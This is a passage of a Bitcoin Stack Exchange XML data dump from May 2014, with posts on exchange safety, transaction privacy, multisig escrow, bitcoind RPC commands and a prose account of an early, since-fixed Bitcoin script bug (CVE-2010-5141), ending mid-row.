  <row Id="25205" PostTypeId="2" ParentId="20895" CreationDate="2014-05-09T01:35:07.297" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Are the operators anonymous?  If so, this represents the highest possible risk.&lt;/li&gt;&#xA;&lt;li&gt;How regularly does the exchange prove that it is solvent?  This is possible to do with cryptography.  If an exchange isn't doing it, its users should be asking why.&lt;/li&gt;&#xA;&lt;li&gt;Is the exchange insured?  Having someone else's money on the line (and lots of it) can be a good way to help protect your own.  They might not let you behind the scenes as an individual but for an insurer to issue a contract, they will certainly be doing some due diligence.&lt;/li&gt;&#xA;&lt;li&gt;The space is nascent enough and evolving so rapidly that trusted independent auditors (e.g. a Moody's, Fitch, or S&amp;amp;P) have not yet emerged.  They will but until that time, the onus is on the individual to tread carefully.&lt;/li&gt;&#xA;&lt;li&gt;Ask on IRC.  Go to freenode #bitcoin and ask.  You might be surprised at what you will learn.  A lot of folks who got goxxed could have avoided their fates by doing this.&lt;/li&gt;&#xA;&lt;li&gt;Read this: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=576337&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=576337&lt;/a&gt; (List of Major Bitcoin Heists, Thefts, Hacks, Scams, and Losses) for some perspective.&lt;/li&gt;&#xA;&lt;li&gt;Finally, I would recommend the following:&#xA;Hold some BTC yourself, if you feel technically capable of doing so.  Use cold storage best practices.  (Practice these procedures with trivial amounts until you feel comfortable).&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/How_to_set_up_a_secure_offline_savings_wallet&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/How_to_set_up_a_secure_offline_savings_wallet&lt;/a&gt;&#xA;Partition the rest of your holdings across several trusted, publicly visible entities such as BlockChain.info, CoinBase, and Xapo.&#xA;Use email addresses to register that have multifactor authentication enabled (such as gmail) and then enable multifactor authentication on the sites themselves.  Use unique, strong passwords.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you do all of this, you will achieve a high level of security, distribute your risk, and you'll also learn a lot along the way.&lt;/p&gt;&#xA;" OwnerUserId="13925" LastEditorUserId="15412" LastEditDate="2014-07-14T14:37:33.217" LastActivityDate="2014-07-14T14:37:33.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25206" PostTypeId="2" ParentId="25198" CreationDate="2014-05-09T01:37:27.980" Score="0" Body="&lt;p&gt;1- Pretty much&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2- Yes, all trasactions are public. You can use websites like blockchain.info to see all the transactions happening. And yes the US government is starting to do do things like this:&#xA;&lt;a href=&quot;https://www.fbo.gov/?s=opportunity&amp;amp;mode=form&amp;amp;id=15d43de53e969bd779d48252d69c1307&amp;amp;tab=core&amp;amp;_cview=0&quot; rel=&quot;nofollow&quot;&gt;https://www.fbo.gov/?s=opportunity&amp;amp;mode=form&amp;amp;id=15d43de53e969bd779d48252d69c1307&amp;amp;tab=core&amp;amp;_cview=0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15695" LastActivityDate="2014-05-09T01:37:27.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25207" PostTypeId="2" ParentId="25201" CreationDate="2014-05-09T01:43:28.163" Score="0" Body="&lt;p&gt;An airdrop-style event in the vein of AuroraCoin would allow for an equitable distribution.  Those with less bitcoin would also be more likely to go through the process of verifying themselves to claim the funds. (infographic explanation of 'airdrop' process here&#xA;&lt;a href=&quot;http://auroracoin.com/&quot; rel=&quot;nofollow&quot;&gt;http://auroracoin.com/&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While proof of burn is an imaginative solution, the practical effects would not be as immediately tangible to most folks, even though the theoretical effects are sound.  Because so many bitcoins are hoarded anyway (&lt;em&gt;cough&lt;/em&gt; &lt;em&gt;cough&lt;/em&gt; satoshi &lt;em&gt;cough&lt;/em&gt;), the destruction of some coins would go largely unnoticed unless the amount was tremendous.&lt;/p&gt;&#xA;" OwnerUserId="13925" LastActivityDate="2014-05-09T01:43:28.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25208" PostTypeId="2" ParentId="25198" CreationDate="2014-05-09T01:55:22.333" Score="0" Body="&lt;p&gt;No need to apologize for your question!  We're all here to learn.&#xA;For every question asked, there are many lurkers wondering similar things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some food for thought on point &lt;a href=&quot;https://www.youtube.com/watch?v=G6UVQUjS1T8&quot; rel=&quot;nofollow&quot;&gt;1&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Illegal drugs are already banned in most places; did these commodities become more or less valuable after such bans?&#xA;There is a good discussion between Stefan Molyneux and a caller to FreeDomainRadio here: &lt;a href=&quot;https://www.youtube.com/watch?v=G6UVQUjS1T8&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=G6UVQUjS1T8&lt;/a&gt; (warning - video has a not-safe-for-work title but the content is audio-only and is not offensive)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since bitcoin itself is a currency, as infrastructure and networks and cryptoeconomies evolve, shouldn't the need for conversion into fiat diminish anyway?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question really hinges on timelines.  In the short term, large bans would have an effect but they would also create competitive opportunities for other countries.  Lots of venture capital is flowing into cryptocurrency right now.  Governments all want a taste of that, so they are necessarily hesitant to use the ban hammer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[2]&#xA;Bitcoin works because of Satoshi's foundational discovery/contribution/invention in computer science that allows for a distributed, decentralized, public ledger.  All transactions are publicly visible but to tie a transaction to a person, you must also tie an address to a person.  The entry for a transaction in the blockchain will show bitcoin addresses but not your name or other identifying information.  If someone looks at your computer and sees that you control a certain address, they can then do some blockchain forensics to see with whom you have been transacting.  Interestingly, it is trivial to create a new address for every transaction and many services do this automatically.  Additionally, services like CoinJoin obscure ownership by 'mixing' coins.  Projects like Dark Wallet are working on integrating this sort of coin mixing into normal wallet operations.&lt;/p&gt;&#xA;" OwnerUserId="13925" LastActivityDate="2014-05-09T01:55:22.333" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="25209" PostTypeId="2" ParentId="11909" CreationDate="2014-05-09T02:51:03.277" Score="0" Body="&lt;p&gt;Could you please elaborate on the general level of technical proficiency of your group, as well as the time commitment folks are willing to make?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you say that you are looking for the fastest way to create an alt coin, you could use a paid service like &lt;a href=&quot;http://www.coingen.io/&quot; rel=&quot;nofollow&quot;&gt;http://www.coingen.io/&lt;/a&gt;, which costs 0.05 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also consider using existing code but mining on an isolated network.  This would be your own chain, although not technically your own coin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also choose an obscure coin with very few miners (the bitcointalk forums has a sub-board for alternative cryptocurrencies where such coins abound).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would leverage the bitcoin and bitcoin-dev freenode IRC channels during the process, as well as stack exchange (obviously!), as you encounter specific issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Austin's reply contains some very useful resources and summaries of what's involved with creating an alt coin.  Be forewarned that it is a highly non-trivial endeavor.  That being said, great idea for a club activity!  Best of luck and enjoy yourselves!!&lt;/p&gt;&#xA;" OwnerUserId="13925" LastActivityDate="2014-05-09T02:51:03.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25210" PostTypeId="2" ParentId="23217" CreationDate="2014-05-09T03:00:10.403" Score="1" Body="&lt;p&gt;Vault of Satoshi is an exchange located in Canada.&#xA;VoS seems to be rather meticulous when it comes to operating legally.  They are delaying even non-fiat, coin to coin trades for people in the US until robust, state-by-state licensure is in place.&#xA;I have found their support staff to be highly responsive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://vaultofsatoshi.zendesk.com/hc/en-us&quot; rel=&quot;nofollow&quot;&gt;https://vaultofsatoshi.zendesk.com/hc/en-us&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try dropping them a line and explain your particular business circumstance.  They might even be able to offer you some reporting services akin to CoinBase's tax reports.&lt;/p&gt;&#xA;" OwnerUserId="13925" LastEditorUserId="13925" LastEditDate="2014-05-09T22:25:28.543" LastActivityDate="2014-05-09T22:25:28.543" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25211" PostTypeId="2" ParentId="25203" CreationDate="2014-05-09T03:00:58.783" Score="2" Body="&lt;p&gt;Normally class actions are opt out, not opt in.  That means you don't have to do anything if you want to be in the class.  But the decision as to whether it will be what they call &quot;certified&quot; as a class is probably a long way off.  If the court allows the class to be certified, they will then send notice to the class members giving you the chance to opt out of the class if you don't want to be in it.  &lt;/p&gt;&#xA;" OwnerUserId="15696" LastActivityDate="2014-05-09T03:00:58.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25212" PostTypeId="2" ParentId="10534" CreationDate="2014-05-09T03:20:01.683" Score="-1" Body="&lt;p&gt;One of the recent additions to the API is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind getnetworkhashps&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is not documented in the wiki to which your question links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While the source code is indeed the ultimate reference, in practice, &lt;code&gt;bitcoind help&lt;/code&gt; is the shortest path to most answers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the entry for lockunspent:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@blockchainer-test:~# bitcoind help lockunspent&#xA;lockunspent unlock [{&quot;txid&quot;:&quot;txid&quot;,&quot;vout&quot;:n},...]&#xA;&#xA;Updates list of temporarily unspendable outputs.&#xA;Temporarily lock (lock=true) or unlock (lock=false) specified transaction outputs.&#xA;A locked transaction output will not be chosen by automatic coin selection, when spending bitcoins.&#xA;Locks are stored in memory only. Nodes start with zero locked outputs, and the locked output list&#xA;is always cleared (by virtue of process exit) when a node stops or fails.&#xA;Also see the listunspent call&#xA;&#xA;Arguments:&#xA;1. unlock            (boolean, required) Whether to unlock (true) or lock (false) the specified transactions&#xA;2. &quot;transactions&quot;  (string, required) A json array of objects. Each object the txid (string) vout (numeric)&#xA;     [           (json array of json objects)&#xA;       {&#xA;         &quot;txid&quot;:&quot;id&quot;,    (string) The transaction id&#xA;         &quot;vout&quot;: n         (numeric) The output number&#xA;       }&#xA;       ,...&#xA;     ]&#xA;&#xA;Result:&#xA;true|false    (boolean) Whether the command was successful or not&#xA;&#xA;Examples:&#xA;&#xA;List the unspent transactions&#xA;&amp;gt; bitcoin-cli listunspent&#xA;&#xA;Lock an unspent transaction&#xA;&amp;gt; bitcoin-cli lockunspent false &quot;[{\&quot;txid\&quot;:\&quot;a08e6907dbbd3d809776dbfc5d82e371b764ed838b5655e72f463568df1aadf0\&quot;,\&quot;vout\&quot;:1}]&quot;&#xA;&#xA;List the locked transactions&#xA;&amp;gt; bitcoin-cli listlockunspent&#xA;&#xA;Unlock the transaction again&#xA;&amp;gt; bitcoin-cli lockunspent true &quot;[{\&quot;txid\&quot;:\&quot;a08e6907dbbd3d809776dbfc5d82e371b764ed838b5655e72f463568df1aadf0\&quot;,\&quot;vout\&quot;:1}]&quot;&#xA;&#xA;As a json rpc call&#xA;&amp;gt; curl --user myusername --data-binary '{&quot;jsonrpc&quot;: &quot;1.0&quot;, &quot;id&quot;:&quot;curltest&quot;, &quot;method&quot;: &quot;lockunspent&quot;, &quot;params&quot;: [false, &quot;[{\&quot;txid\&quot;:\&quot;a08e6907dbbd3d809776dbfc5d82e371b764ed838b5655e72f463568df1aadf0\&quot;,\&quot;vout\&quot;:1}]&quot;] }' -H 'content-type: text/plain;' http://127.0.0.1:8332/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Below is a list of all methods you can call on bitcoind, for reference:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@blockchainer-test:~# bitcoind help&#xA;addmultisigaddress nrequired [&quot;key&quot;,...] ( &quot;account&quot; )&#xA;addnode &quot;node&quot; &quot;add|remove|onetry&quot;&#xA;backupwallet &quot;destination&quot;&#xA;createmultisig nrequired [&quot;key&quot;,...]&#xA;createrawtransaction [{&quot;txid&quot;:&quot;id&quot;,&quot;vout&quot;:n},...] {&quot;address&quot;:amount,...}&#xA;decoderawtransaction &quot;hexstring&quot;&#xA;decodescript &quot;hex&quot;&#xA;dumpprivkey &quot;bitcoinaddress&quot;&#xA;dumpwallet &quot;filename&quot;&#xA;encryptwallet &quot;passphrase&quot;&#xA;getaccount &quot;bitcoinaddress&quot;&#xA;getaccountaddress &quot;account&quot;&#xA;getaddednodeinfo dns ( &quot;node&quot; )&#xA;getaddressesbyaccount &quot;account&quot;&#xA;getbalance ( &quot;account&quot; minconf )&#xA;getbestblockhash&#xA;getblock &quot;hash&quot; ( verbose )&#xA;getblockchaininfo&#xA;getblockcount&#xA;getblockhash index&#xA;getblocktemplate ( &quot;jsonrequestobject&quot; )&#xA;getconnectioncount&#xA;getdifficulty&#xA;getgenerate&#xA;gethashespersec&#xA;getinfo&#xA;getmininginfo&#xA;getnettotals&#xA;getnetworkhashps ( blocks height )&#xA;getnetworkinfo&#xA;getnewaddress ( &quot;account&quot; )&#xA;getpeerinfo&#xA;getrawchangeaddress&#xA;getrawmempool ( verbose )&#xA;getrawtransaction &quot;txid&quot; ( verbose )&#xA;getreceivedbyaccount &quot;account&quot; ( minconf )&#xA;getreceivedbyaddress &quot;bitcoinaddress&quot; ( minconf )&#xA;gettransaction &quot;txid&quot;&#xA;gettxout &quot;txid&quot; n ( includemempool )&#xA;gettxoutsetinfo&#xA;getunconfirmedbalance&#xA;getwalletinfo&#xA;getwork ( &quot;data&quot; )&#xA;help ( &quot;command&quot; )&#xA;importprivkey &quot;bitcoinprivkey&quot; ( &quot;label&quot; rescan )&#xA;importwallet &quot;filename&quot;&#xA;keypoolrefill ( newsize )&#xA;listaccounts ( minconf )&#xA;listaddressgroupings&#xA;listlockunspent&#xA;listreceivedbyaccount ( minconf includeempty )&#xA;listreceivedbyaddress ( minconf includeempty )&#xA;listsinceblock ( &quot;blockhash&quot; target-confirmations )&#xA;listtransactions ( &quot;account&quot; count from )&#xA;listunspent ( minconf maxconf  [&quot;address&quot;,...] )&#xA;lockunspent unlock [{&quot;txid&quot;:&quot;txid&quot;,&quot;vout&quot;:n},...]&#xA;move &quot;fromaccount&quot; &quot;toaccount&quot; amount ( minconf &quot;comment&quot; )&#xA;ping&#xA;sendfrom &quot;fromaccount&quot; &quot;tobitcoinaddress&quot; amount ( minconf &quot;comment&quot; &quot;comment-to&quot; )&#xA;sendmany &quot;fromaccount&quot; {&quot;address&quot;:amount,...} ( minconf &quot;comment&quot; )&#xA;sendrawtransaction &quot;hexstring&quot; ( allowhighfees )&#xA;sendtoaddress &quot;bitcoinaddress&quot; amount ( &quot;comment&quot; &quot;comment-to&quot; )&#xA;setaccount &quot;bitcoinaddress&quot; &quot;account&quot;&#xA;setgenerate generate ( genproclimit )&#xA;settxfee amount&#xA;signmessage &quot;bitcoinaddress&quot; &quot;message&quot;&#xA;signrawtransaction &quot;hexstring&quot; ( [{&quot;txid&quot;:&quot;id&quot;,&quot;vout&quot;:n,&quot;scriptPubKey&quot;:&quot;hex&quot;,&quot;redeemScript&quot;:&quot;hex&quot;},...] [&quot;privatekey1&quot;,...] sighashtype )&#xA;stop&#xA;submitblock &quot;hexdata&quot; ( &quot;jsonparametersobject&quot; )&#xA;validateaddress &quot;bitcoinaddress&quot;&#xA;verifychain ( checklevel numblocks )&#xA;verifymessage &quot;bitcoinaddress&quot; &quot;signature&quot; &quot;message&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13925" LastActivityDate="2014-05-09T03:20:01.683" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25213" PostTypeId="2" ParentId="17811" CreationDate="2014-05-09T03:37:33.143" Score="1" Body="&lt;p&gt;As per: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=270852.380&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=270852.380&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;make -f makefile.unix &quot;USE_UPNP=-&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPNP is not enabled by default anyway, so compiling without it shouldn't be a problem for normal operation.&lt;/p&gt;&#xA;" OwnerUserId="13925" LastActivityDate="2014-05-09T03:37:33.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25214" PostTypeId="2" ParentId="11691" CreationDate="2014-05-09T03:49:54.260" Score="1" Body="&lt;p&gt;Dark Wallet is probably the closest to actively implementing something along these lines in a client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://wiki.unsystem.net/index.php/DarkWallet/Alpha#Mixing&quot; rel=&quot;nofollow&quot;&gt;https://wiki.unsystem.net/index.php/DarkWallet/Alpha#Mixing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When sending, the transaction is sent to an internal mixer, that&#xA;  starts announcing on the coinjoin channel, if another peer answers,&#xA;  both will negotiate a shared transaction that includes both peers&#xA;  inputs and outputs. If successful the final transaction will be sent&#xA;  into the network.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You can see how a transaction from the mixer looks&#xA;  &lt;a href=&quot;https://blockchain.info/tx/c38aac9910f327700e0f199972eed8ea7c6b1920e965f9cb48a92973e7325046&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/c38aac9910f327700e0f199972eed8ea7c6b1920e965f9cb48a92973e7325046&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And also the multisig section that follows:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Multisig funds are special bitcoin addresses that can be spent from&#xA;  only by a number of participants signing the transactions. This means&#xA;  accounts can be held among several people or devices, and several&#xA;  signatures (above some threshold) will be needed to spend.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="13925" LastActivityDate="2014-05-09T03:49:54.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25215" PostTypeId="2" ParentId="12725" CreationDate="2014-05-09T03:57:53.587" Score="1" Body="&lt;p&gt;You may find the solutions offered here to be of help:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://bitcoin.stackexchange.com/questions/23012/btc-stuck-with-zero-confirmations&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;see also:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://code.google.com/p/bitcoin-wallet/wiki/UnstickLowFeeTransactions&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13925" LastActivityDate="2014-05-09T03:57:53.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25217" PostTypeId="1" CreationDate="2014-05-09T07:50:14.757" Score="3" ViewCount="265" Body="&lt;p&gt;After following &lt;a href=&quot;https://github.com/wobine/blackboard101/blob/master/wbn_multisigs_pt2_spend-funds.py&quot; rel=&quot;nofollow&quot;&gt;https://github.com/wobine/blackboard101/blob/master/wbn_multisigs_pt2_spend-funds.py&lt;/a&gt; for creating a MultiSig, I end up with a Multisig address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Validate Address it shows as valid but isMine:false. &#xA;I have send some test coins, still list unspend shows up as an empty array.&#xA;I validated the public addresses and all belong to the same wallet.&#xA;Txn shows up with confirmations on blockchain.info&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my question is, is it the right way to create it? Or am I missing something.&lt;/p&gt;&#xA;" OwnerUserId="10736" LastActivityDate="2014-05-10T18:16:54.933" Title="What is the right way to create a MultiSig?" Tags="|bitcoind|multi-signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25219" PostTypeId="2" ParentId="25198" CreationDate="2014-05-09T11:47:36.190" Score="1" Body="&lt;p&gt;My thinking is that (i) G20 nations are democracies, and (ii) Bitcoin is a useful service. If it's useful to people, and people want it, they'll vote for it and it won't get banned. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your country bans something useful to the masses, it's not a democracy. It will be banned only because it lost its utility, and if that happens, there will probably be something better replacing it. &lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-05-09T11:47:36.190" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25220" PostTypeId="2" ParentId="12589" CreationDate="2014-05-09T13:27:37.060" Score="1" Body="&lt;p&gt;It &lt;strong&gt;is&lt;/strong&gt; possible to test it offline. Check your &lt;code&gt;phpinfo()&lt;/code&gt; to confirm, but I perform operations with the blockchain API from my XAMPP server all the time, as I am currently working on a site that uses the API. All you're doing is sending a request to a URL (like when you loaded this page) and getting the contents of that file. If you're interested, check out this class I wrote for using the blockchain API with PHP: &lt;a href=&quot;https://github.com/lukesims/Blockchain-API-PHP-Class&quot; rel=&quot;nofollow&quot;&gt;https://github.com/lukesims/Blockchain-API-PHP-Class&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that, you could ad more functions or modify it to interact with your database simultaneously.&lt;/p&gt;&#xA;" OwnerUserId="14281" LastActivityDate="2014-05-09T13:27:37.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25221" PostTypeId="2" ParentId="24413" CreationDate="2014-05-09T13:32:17.907" Score="0" Body="&lt;p&gt;If each address you give to a user to deposit funds is unique, then you can check the balance of that address and get a response with the current balance &amp;amp; total deposited. You specify the confirmations in the URL of the api call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also are you using the Receive Payments API to receive payments, and the Wallet API for everything else? Because that seems silly.&lt;/p&gt;&#xA;" OwnerUserId="14281" LastActivityDate="2014-05-09T13:32:17.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25223" PostTypeId="2" ParentId="12014" CreationDate="2014-05-09T14:48:01.730" Score="0" Body="&lt;p&gt;If the chain is too big to fit on miners, the the archival nodes wont be able to send the chain to the miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with comparing long chains is that you cannot hold them all in the computer at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you must delete old blocks, I think it is better to implement slasher first.&#xA;With slasher, if the block is older than 2000 blocks ago, you can delete almost all of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to save a little... blockhash, LastClosedLedgerhash, hash of transactions in the block, and some POS signatures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can delete all the old transactions, and you can delete old ledgers. In this case an archive would work splendidly.&#xA;You could ask for any historic block from the archive and instantly be able to tell that it is a valid part of your chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My efforts: &lt;a href=&quot;https://github.com/zack-bitcoin/basiccoin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/zack-bitcoin/basiccoin&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="9415" LastActivityDate="2014-05-09T14:48:01.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25224" PostTypeId="1" AcceptedAnswerId="36439" CreationDate="2014-05-09T15:18:21.860" Score="14" ViewCount="7613" Body="&lt;p&gt;I was following &lt;a href=&quot;https://bitcointalk.org/index.php?topic=453086.0&quot; rel=&quot;noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=453086.0&lt;/a&gt;&#xA;for creating a message in OP_RETURN. I am able to decode my raw transaction, but on signrawtransaction it gives &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;error: {&quot;code&quot;:-22,&quot;message&quot;:&quot;TX decode failed&quot;}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I validated the address, is there something that is missing in that tutorial.&lt;/p&gt;&#xA;" OwnerUserId="10736" LastEditorUserId="5757" LastEditDate="2015-08-07T17:26:51.353" LastActivityDate="2022-08-25T07:05:39.707" Title="What is a step by step way to insert data in OP_RETURN?" Tags="|transactions|blockchain|bitcoind|signature|op-return|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25225" PostTypeId="1" CreationDate="2014-05-09T15:27:46.060" Score="7" ViewCount="489" Body="&lt;p&gt;Reference: &lt;a href=&quot;http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-5141&quot;&gt;http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-5141&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What was the specific exploit in the Tx script evaluation process?&lt;/p&gt;&#xA;" OwnerUserId="3667" LastEditorUserId="2306" LastEditDate="2015-05-14T19:26:18.360" LastActivityDate="2015-09-12T00:37:20.877" Title="What was the vulnerability in v0.3.4 that allowed an attacker to steal coins?" Tags="|bitcoin-core|cve-2010-5141|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25226" PostTypeId="2" ParentId="13838" CreationDate="2014-05-09T15:42:00.220" Score="1" Body="&lt;p&gt;There are two solutions here: Dispute Resolution Organizations (DROs) or multiple signature transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you pay with a credit card or via paypal, part of your service fees go towards the provision of dispute resolution services.  However if you were to mail a bundle of cash to someone, because there is no intermediary (just delivery), there is no external party to which an appeal for recourse can be made by either party.  As a minor example, Agreed.com is a domain escrow service that currently accepts cryptocurrency.  I am not aware of widely-used and trusted general DROs for cryptocurrency transactions.  However I'm sure that services and brands in that space are already being built.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Escrow is also possible with cryptocurrency via multi-signature transactions.  In an 'M of N transaction' a quorum must be reached for the transaction to occur.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example from a recent Forbes article:&#xA;&lt;a href=&quot;http://www.forbes.com/sites/johnvillasenor/2014/03/28/could-multisig-help-bring-consumer-protection-to-bitcoin-transactions/&quot; rel=&quot;nofollow&quot;&gt;http://www.forbes.com/sites/johnvillasenor/2014/03/28/could-multisig-help-bring-consumer-protection-to-bitcoin-transactions/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Multisig approaches have the potential to address this by making&#xA;  transactions contingent on the collective agreement of multiple&#xA;  parties. In the example above, the system could be modified so that&#xA;  Alice and Bob each provide their public keys to an escrow service,&#xA;  which then uses its own key to generate a new bitcoin address to which&#xA;  Alice can send payment for the surfboard. Moving the payment from that&#xA;  address requires the authorization of any two of Alice, Bob, and the&#xA;  escrow service. This protects Bob, because he can ship the surfboard&#xA;  knowing that Alice can’t unilaterally take back the money she has&#xA;  placed in escrow. Alice is protected because Bob can’t unilaterally&#xA;  extract the money from escrow. Once Alice receives the surfboard, she&#xA;  and Bob can jointly authorize the transfer of the money out of escrow&#xA;  to Bob. Or, if she claims that she hasn’t received the surfboard, or&#xA;  that it is defective, the escrow service can arbitrate the dispute.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Dark Wallet is also working on an in-client implementation of this:&#xA;&lt;a href=&quot;https://wiki.unsystem.net/index.php/DarkWallet/Alpha#Multisig&quot; rel=&quot;nofollow&quot;&gt;https://wiki.unsystem.net/index.php/DarkWallet/Alpha#Multisig&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a link to a raw transaction example by Gavin:&#xA;&lt;a href=&quot;https://gist.github.com/gavinandresen/3966071&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/gavinandresen/3966071&lt;/a&gt;&#xA;This is the sort of thing for which the &lt;a href=&quot;https://en.bitcoin.it/wiki/Testnet&quot; rel=&quot;nofollow&quot;&gt;test-net&lt;/a&gt; is helpful when learning.&lt;/p&gt;&#xA;" OwnerUserId="13925" LastActivityDate="2014-05-09T15:42:00.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25227" PostTypeId="2" ParentId="25225" CreationDate="2014-05-09T15:47:51.227" Score="1" Body="&lt;p&gt;Explanation by Mike Hearn:&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=152470.msg1620493#msg1620493&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=152470.msg1620493#msg1620493&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When Bitcoin was first released, it contained two completely fatal&#xA;  bugs that made the entire system worthless. Fortunately, they were&#xA;  found and fixed before Bitcoin  actually had any serious value.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The first bug was that scripts were concatenated before being run&#xA;  instead of just using a shared stack. This meant that anyone could&#xA;  write a scriptSig that always evaluated to true and claim anyone elses&#xA;  coins. Fixed here in v0.3.2:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/73aa262647ff9948eaf95e83236ec323347e95d0&quot; 